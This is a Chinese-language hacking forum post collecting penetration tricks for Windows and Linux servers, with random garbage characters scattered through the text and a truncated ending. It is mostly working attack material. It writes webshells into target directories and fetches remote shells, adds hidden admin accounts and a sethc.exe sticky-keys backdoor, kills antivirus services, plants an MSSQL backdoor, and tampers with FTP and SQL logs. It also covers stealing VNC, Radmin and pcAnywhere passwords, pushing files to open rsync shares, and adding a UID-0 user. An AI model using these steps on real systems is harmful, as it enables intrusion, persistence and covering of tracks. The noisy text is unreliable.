渗透技巧总结

admin

旁站路径问题
1、读网站配置。
* |, e- w! V3 m; M* {, {' P! O2、用以下VBS
$ i# G8 S" L7 K/ lOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
/ d6 _( p; A4 Z# e
! k. ?6 b' i, K5 L/ eMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
+ n' p/ K$ H3 _/ x* a( w8 N
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
0 B$ t/ y! ~% U8 }5 \; SEnd If
  x& g& U. @- k. `" |Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
! @- H5 g& \6 c; U* c, gFor Each obj3w In objservice
. [4 x& q  A6 R4 @        If IsNumeric(obj3w.Name)

Then
" n0 k8 }+ u. C                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
" P( F1 x: q7 ]2 G. L' x: b9 a         
1 s1 u/ B$ i* g$ z. n
( g  h; U7 C/ |  t) ~- Z       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

+ |7 O2 u9 P: \+ G% \<> 0 Then WScript.Quit (1)
5 x8 U* b! V+ A$ x; {0 e                WScript.Echo Chr(10) & "[" &
! z: k1 w4 r. C6 Y
OService.ServerComment & "]"
% z6 |& J' p6 c) Q6 u                For Each Binds In OService.ServerBindings
# Y, x5 r% y- Q/ u7 M9 s     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
' v8 C/ @2 ^8 B                Next
7 i  t7 ^7 J  q4 b+ G3 ~  X0 w      
  s6 R1 K1 J( q8 P! ?
4 G: J, X5 B. |, \; a: d4 S. z         WScript.Echo "ath            : " & VDirObj.Path
+ z. ^( d4 [( |; Z# X: x        End If
( `6 a1 _9 c( g# h; N% n8 mNext
  M+ @! Q3 _3 }" O复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
/ T9 z3 O' I, l% SWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
: K2 `! }% ~3 U* u8 w6 ~——————————————————————
) P0 j2 ~# y+ z1 P! c, I( uphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
8 p: D! ], q* q/ X4 D8 s  mphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
/ {1 {# I1 r" C5 r# J. Tphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
7 o; Z6 Y* @2 n7 ]网站可能目录(注：一般是虚拟主机类）
& h* @, c8 D5 r" udata/htdocs.网站/网站/
& O1 |8 ]' v' G$ c+ \* w. `! v————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
& H+ W4 `* {$ W- V( ]8 H( F! snetsh ras show user #查看哪些用户可以拨入VPN
7 Y5 J- W$ z0 H- B6 ^; Lnetsh ras ip show config #查看VPN分配IP的方式
- I- w* a8 R3 j$ z2 ?9 Hnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
) N7 t- I2 O9 T命令行下添加SQL用户的方法
) r! V, R) `: W, R需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
( |; T3 E2 J+ |* Wexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

' Y5 u& g% {5 }" t" m& A另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
4 X* H$ E6 ^  d* Rvar o=new ActiveXObject( "Shell.Users" );
, C7 T( [, {$ J7 @9 q2 pz=o.create("test") ;
  U$ b- U0 \- x: P- wz.changePassword("123456","")
# H! ?. w- {$ B1 n) ^. \z.setting("AccountType")=3;

vbs:
# y: O# N. N  d7 |7 n8 aSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
2 _* |. R" @6 x6 {2 `* i# qz.changePassword "123456",""
z.setting("AccountType")=3
# K5 y, \1 ]3 ?0 H——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
/ n! |7 x) V( F. J- i& p1 m4 p+ B
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
9 h" G8 ]" H' l4 [c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

9 t8 [; u( @; G6 O杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
5 |- S3 z+ P1 g+ H5 rnet stop "Symantec AntiVirus" /y
% a" U; ~* N9 B& `* j, V0 _% rnet stop "Symantec AntiVirus Definition Watcher" /y
& p  ~8 z5 O. _0 F9 fnet stop "Symantec Event Manager" /y
* i& u3 q6 R# @6 g- P% Onet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
  K- s7 @; f. d& F" J! J6 q
( _. B( l5 L6 R卖咖啡：net stop "McAfee McShield"
————————————————————
! a1 A( m3 u9 e2 a
5次SHIFT：
- |6 m5 j$ E% N2 K- j4 i# hcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
4 v& P; t6 O+ Q1 p1 A/ W. j——————————————————————
MSSQL扩展后门：
' B2 G: g, j8 W. A! qUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
  q) I, R' K% {9 i# j———————————————————————
9 v6 A' g  i' x0 U日志处理
) `( i' n; U3 d" a- d) HC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
& ]% O, X: ^# b不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
: t1 {4 y) L2 H2 Q) x7 ]' u用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
  p2 F" T( ^- o# I  ^当停止msftpsvc服务后可直接删除ex011124.log

  K) N2 C1 }( r! h7 |/ O* U! O; DMSSQL查询分析器连接记录清除：
3 n& h9 J3 U; @MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
1 g9 T3 o! X: IMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
6 |0 e* Y* Z! M% [" M& ]8 g
* A; t8 Q' F, r4 m8 N; \! `4 T& `( H% c<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
* `3 h% [% E6 r; w+ _Dim Ads, Retrieval, GetRemoteData
# g( W9 v% ~) {( o! z- j3 TOn Error Resume Next
! |4 T/ @, U; G) @- a1 c! \Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
' T7 Z& n: F- e& [+ G; iWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
. J( C* }: `. o- e.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
' Z+ H& b$ t8 {3 MSet Ads = Server.CreateObject("Adodb.Stream")
" j/ V6 }7 J* w: M4 g( K* I  jWith Ads
. ^% N0 y- f6 V6 ]9 p% Q( [.Type = 1
.Open
.Write GetRemoteData
7 n' G: l2 \! f/ m9 `.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
$ J7 r. G& F1 i! y2 EEnd With
! Z, A3 r5 _% r" ]Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
$ i7 ~( O) T' F4 g%>

  b- W5 d9 E2 M) F7 V% E0 {9 @VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
8 c4 R. \1 O! a6 uRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
/ R5 e6 b9 f, {4 V: a; J$ KHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
: O- o+ R' P) h然后用HASH版连接。
) B' d+ d, _9 m如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
2 y* x- v5 M1 j5 m5 R$ J0 U——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
3 D4 k9 u6 I1 M来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
# H' _9 G) c: r3 W; @# L- G$ `没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

5 K; z% t% Y; s4 R$ @, {1433 SA点构建注入点。
- z9 f* T# `9 l; C0 |<%
+ a+ d2 O, u. \2 C* YstrSQLServerName = "服务器ip"
) D5 D$ }, ?5 v" M5 JstrSQLDBUserName = "数据库帐号"
* n# L$ K+ S& m( tstrSQLDBPassword = "数据库密码"
1 G* L6 G/ L9 W" B3 CstrSQLDBName = "数据库名称"
' ~; F9 }: B+ N  w  dSet conn = Server.createObject("ADODB.Connection")
2 S/ W; D) j3 l3 \8 g$ sstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
* Z6 f) H" v( q7 X2 w4 T0 Y
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
1 I' [# e8 Q+ A: K, S9 K/ @" [conn.open strCon
- i+ Q: s' C7 n. O$ j* ]dim rs,strSQL,id
1 }5 Q* B( {- Q: K' _! ~set rs=server.createobject("ADODB.recordset")
id = request("id")
7 |0 E  C' A+ S6 NstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
7 e8 N7 R! r- prs.close
%>
2 [' f: v1 m- }+ j6 W复制代码
******liunx 相关******
; F3 ?! @  P: r3 B  b  U一.ldap渗透技巧
1.cat /etc/nsswitch
4 @1 I7 x' V  l看看密码登录策略我们可以看到使用了file ldap模式
2 f/ `* P" w$ q
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
+ E. B9 X) \6 O7 w9 ^- N找到ou,dc,dc设置

3.查找管理员信息
匿名方式
5 L& e% M, d8 @ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
' _. n( A5 O$ k; E" z) x
4 \) n; P: L6 {7 q" ?"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
+ z5 H6 Y/ s  H. t% H5 W& G% P; Sldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
' D5 Y9 _) \6 N! o" e7 f
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 Z0 [7 l+ J% T% x! `+ V
) j0 k  P$ ]6 W% p: L) O
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
% x. c1 r. r) n2 L
4 B: u2 L% h  A1 V" e) n* E实战:
1.cat /etc/nsswitch
' j/ s+ T9 v, e看看密码登录策略我们可以看到使用了file ldap模式
# Q4 x% }0 y7 I
3 _' v6 `4 v$ D/ N, ^2 t& ~9 I7 w6 V- E2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
# m# L1 s+ ~2 x  w! q
  O, _1 L( r& @& K% a# K9 {8 G3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 i3 k  a# j& |+ {! M4 E' {7 L9 y
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
) t' H" z6 {; k# E- U9 Tldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 C/ _8 J5 C' ^
渗透实战:
- M+ j1 A+ q* K4 j. N  q4 n1.返回所有的属性
! {! k$ D6 z0 ~# ?ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
: I; d# q- H1 w, c  Hdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
  L4 f! _( t) e0 Vuid: manager
/ _" c+ U1 }; x' mobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager

+ A4 w3 F3 V* ^7 W1 m- [dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
9 G9 z  F, ]( y# |uid: superadmin
/ S( r" z0 p& f; `2 k# VobjectClass: inetOrgPerson
objectClass: organizationalPerson
- R% f; j" C* c& D3 K2 j! EobjectClass: person
7 y" N/ n3 X3 t, HobjectClass: top
sn: superadmin
cn: superadmin

+ C( _" R( }% N: F0 fdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
3 Y4 |4 M5 `* s/ cobjectClass: inetOrgPerson
objectClass: organizationalPerson
8 E- G3 B5 B6 {6 ~/ I. p8 _objectClass: person
objectClass: top
sn: admin
  J* }8 H5 V3 ^% c. m, ?cn: admin
* r1 j6 E8 |  o7 C  R! G* g9 e
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
$ {& R2 }# p5 C" v# dsn: dcp_anonymous
" m! R4 u" p9 S6 J3 vcn: dcp_anonymous

$ y6 U$ v; T; _( U+ x3 i2.查看基类
' f9 v0 _$ H( k, l: [bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
# v4 t. w: X3 G) @9 s/ a% i
more
version: 1
  S- q- ?  J/ |; P  x0 {dn: dc=ruc,dc=edu,dc=cn
0 z0 _8 L. ?9 c+ c* l' Sdc: ruc
objectClass: domain

8 h  y* R  q' T$ r3.查找
9 S1 d* Z# L* W6 B8 `7 Qbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
9 W! ^, T2 T' @/ sobjectClass: top
7 C! p* O+ c* x+ A# z4 hnamingContexts: dc=ruc,dc=edu,dc=cn
4 a/ L) ~9 F2 isupportedExtension: 2.16.840.1.113730.3.5.7
# S: R2 q1 b7 f: o, [# ?0 bsupportedExtension: 2.16.840.1.113730.3.5.8
/ g4 m; a( q( {; i; f1 ^  usupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
1 @1 C/ s. V8 n: T( R' f+ Z2 ^supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
0 p' e6 j" |' l' c/ |6 _: w& esupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
; v* h8 O. f7 f. o' m* ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
* L  _* g& ]/ y7 r6 R/ DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
# t3 s# V- `3 ^- r1 q& I9 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
4 Z+ |3 ^  z2 q, p' osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
2 B  C1 h1 T8 C; v0 n: b1 ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
) m0 U5 l0 W( D  {  t& ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
, w- T& |2 s1 x, e4 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
: W. ~- x9 @$ QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
9 O/ L% a7 ]! J5 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
' r' f1 h; F0 M. x& R: ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
6 k0 x8 c! q* R" hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
6 j" [& B0 v$ u, |8 asupportedExtension: 1.3.6.1.4.1.1466.20037
' R0 V. u8 |8 @$ G7 o8 O6 GsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
  f' ~. [! u' S1 E: L! q9 ssupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
- H1 }7 h9 E' v- K0 zsupportedControl: 1.2.840.113556.1.4.473
: c* c& H$ ^+ M: C( s3 A  wsupportedControl: 2.16.840.1.113730.3.4.9
- {3 E$ @( l( Y- e5 e1 P; L- Q' U  dsupportedControl: 2.16.840.1.113730.3.4.16
  M& g& I4 I% H& c% S& b' c' esupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
8 _9 s7 }* A: p8 T% ?1 f) isupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
* |+ i4 m+ r3 |" ~/ D: u# KsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
$ y" Y- @9 d) [0 V8 T5 n% A" psupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
! i, y% \: o0 D0 S: usupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
$ f+ f6 k, }( V& e2 T: r9 J* t5 ?supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
2 l1 |  S- ]3 @) C! ?1 {" `supportedSASLMechanisms: EXTERNAL
: Z, z* g3 K% D" a( BsupportedSASLMechanisms: DIGEST-MD5
$ T. a. v! `0 D: P. |% `! [' S: Y4 zsupportedLDAPVersion: 2
5 W( G  A! G9 M' I/ A8 rsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
6 Y, }/ ~$ F; O$ l3 fsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
% x" W* t8 `4 n0 E2 B, {supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0 Y9 A( E6 Q8 z2 A2 q* }9 K/ o5 o) dsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
9 L: ?) q- e6 p8 Z' Q. V: r" csupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
- G8 Y" O# K1 Y, ]0 z# asupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
+ J3 J. t- \( a, v" d; ksupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
4 r. }+ M1 m8 W! Q$ YsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
7 N. S1 C5 j# P! ^supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
5 Y! v1 k5 R- ssupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
4 l& @: i9 E. U/ ]( w, U8 O" @supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
3 z! u8 ~+ ?& k# e1 ~9 HsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
! z1 y6 e# h% I6 m! `/ `2 OsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
, I; J' o7 ]  G2 D6 h- A  HsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
) G& K, E# A" y4 Q' c& t* g- B% T" rsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
1 f' K1 F% p$ z$ b6 N; A0 [& e3 ?9 psupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
9 \! ]$ o  m$ X; zsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
5 G$ i8 Z8 r: M) H0 J8 h/ C+ f6 b! QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
9 w- @9 _# T0 N# L: ~supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
0 R0 \- X8 ]8 V) B, \supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
列举IP
: `- T( Q9 U6 }5 i7 S7 e——————
3.rsync渗透技巧
: f4 R5 }9 u7 J1.查看rsync服务器上的列表
rsync 210.51.X.X::
" P& V- r/ A/ L- r  hfinance
img_finance
" A% u! i. K: J" n* f8 S- Rauto
3 e- m6 K, C/ b  f% P, D; simg_auto
/ F( p1 w$ g) V8 @8 R; ^html_cms
+ z, h) ]' }$ y* ^) L5 ~: w- c1 limg_cms
. C7 f5 e, I4 C- K8 e; {; d6 L; E& h* uent_cms
ent_img
ceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
games
; v# J% Q6 P* M, ^gamesimg
; g0 y$ q, Z9 P& B8 z  Y- Amedia
mediaimg
8 \  w5 e/ k" r) B0 q; V7 ~% F" l( ]# Mfashion
res-fashion
( Z/ u1 p6 b! w( j) mres-fo
taobao-home
res-taobao-home
6 y8 F) B7 v/ ?! {: B# q9 chouse
res-house
res-home
res-edu
& |! }9 x1 U/ T' H- L, j! Tres-ent
- \$ L+ o/ {/ S/ ores-labs
res-news
res-phtv
res-media
: d6 E0 E# K; }/ t& v# ~7 B% W9 khome
edu
news
res-book
5 M9 J: c% ~" U6 M: `' o- I4 E9 Q
$ b/ C. U4 D% @$ B) z看相应的下级目录(注意一定要在目录后面添加上/)


8 K8 \# ?. U4 [/ M& M' z5 w# orsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
) ?' A/ q! P% ~9 ^# j+ {  w! Jrsync 210.51.X.X::edu/
) O. O5 b. r! T0 M
' z# r, O0 Q" G& e) F0 R2.下载rsync服务器上的配置文件
( L. T; {% g% h- prsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
9 h8 J+ k% A* l' }" ~
3.向上更新rsync文件(成功上传,不会覆盖)
& \5 `0 D+ e0 Z" I5 Srsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
$ P' i0 Q+ o# a5 Ihttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
. D; @) }- S) ?* t: lGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
; U  y1 O" N5 P! s- }: Essh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
8 S+ z  z9 B' _1 Q1 G7 a% a6 G
& T8 W2 f$ J3 h2 V6 t& o2 I15&catid=32:languages&Itemid=47

& C. p9 _* p% v5 G- L$ e重新设置密码
& D1 n: D6 ]: |5 M% ^3 Pindex.php?option=com_user&view=reset&layout=confirm
- K, R  {: J2 Q# ]1 [2 x. \* z
七: Linux添加UID为0的root用户
8 \9 ^! V2 J  ruseradd -o -u 0 nothack
  _/ m& ]2 L7 k
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
) S9 B  m1 |1 a* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
6 x/ ^- O* O0 v$ P# B* [argp@julius ~]$ id
# y: W0 F6 ?& _* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
! {5 [" h9 |, N# T4 ?*
calling nmount()
( g2 T9 C$ _7 {9 c
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
1 P, U. C2 b5 Y  j. p. {, H* `——————————————
! i& n7 m. _% ]" M感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
2 J3 e7 f' M) I0 L; q1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
1 [8 ^4 f1 h% s7 H$ `# s# S" _注：
